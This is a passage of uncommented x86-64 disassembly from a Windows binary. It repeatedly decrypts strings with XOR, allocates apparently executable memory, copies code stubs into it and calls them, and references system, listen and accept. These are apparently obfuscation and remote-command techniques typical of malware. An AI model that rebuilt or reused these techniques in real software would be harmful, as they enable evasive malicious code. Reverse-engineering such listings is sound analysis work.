movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x1b0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1e60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1e40]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1b8]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1e80]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5f98]
lea rcx, [rsp + 0x59]
call fcn.14001e9a0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140010113
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400100de
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000fff1
jmp 0x140010113
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400100e1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1ea0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x1c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14001019e
mov rdx, rbx
cmp rax, rsi
je 0x14001018d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140010175
jmp 0x14001019e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14001027f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400101c7
mov r8, rbx
jmp 0x14001025e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400101d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x1c0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1ea0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1e80]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1c8]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1ec0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5fd0]
lea rcx, [rsp + 0x5a]
call fcn.14001e9e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140010443
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001040e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140010321
jmp 0x140010443
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140010411
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1ee0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x1400104ce
mov rdx, rbx
cmp rax, rsi
je 0x1400104bd
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400104a5
jmp 0x1400104ce
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400105af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400104f7
mov r8, rbx
jmp 0x14001058e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010500
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x1d0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1ee0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1ec0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1d8]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1f00]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6008]
lea rcx, [rsp + 0x5b]
call fcn.14001ea20
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140010773
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001073e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140010651
jmp 0x140010773
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140010741
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1f20]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x1e0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x1400107fe
mov rdx, rbx
cmp rax, rsi
je 0x1400107ed
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x1400107d5
jmp 0x1400107fe
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x1400108df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010827
mov r8, rbx
jmp 0x1400108be
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010830
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x1e0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1f20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1f00]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1e8]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1f40]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6040]
lea rcx, [rsp + 0x5c]
call fcn.14001ea60
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140010ab2
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140010a71
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140010981
jmp 0x140010ab2
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140010a80
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1f60]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x1f0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140010b3d
mov rdx, rbx
cmp rax, rsi
je 0x140010b2c
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140010b14
jmp 0x140010b3d
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140010c1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010b66
mov r8, rbx
jmp 0x140010bfe
mov rax, rsi
mov rcx, r8
mov rdx, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010b70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x1f0]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1f60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1f40]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1f8]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1f80]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6078]
lea rcx, [rsp + 0x5d]
call fcn.14001eaa0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x140010de3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140010dae
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140010cc1
jmp 0x140010de3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140010db1
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1fa0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x140010e6e
mov rdx, rbx
cmp rax, rsi
je 0x140010e5d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x140010e45
jmp 0x140010e6e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x140010f4f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010e97
mov r8, rbx
jmp 0x140010f2e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010ea0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x200]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1fa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1f80]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x208]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1fc0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x6708]
lea rcx, [rsp + 0x5e]
call fcn.14001eae0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x140011125
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400110e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
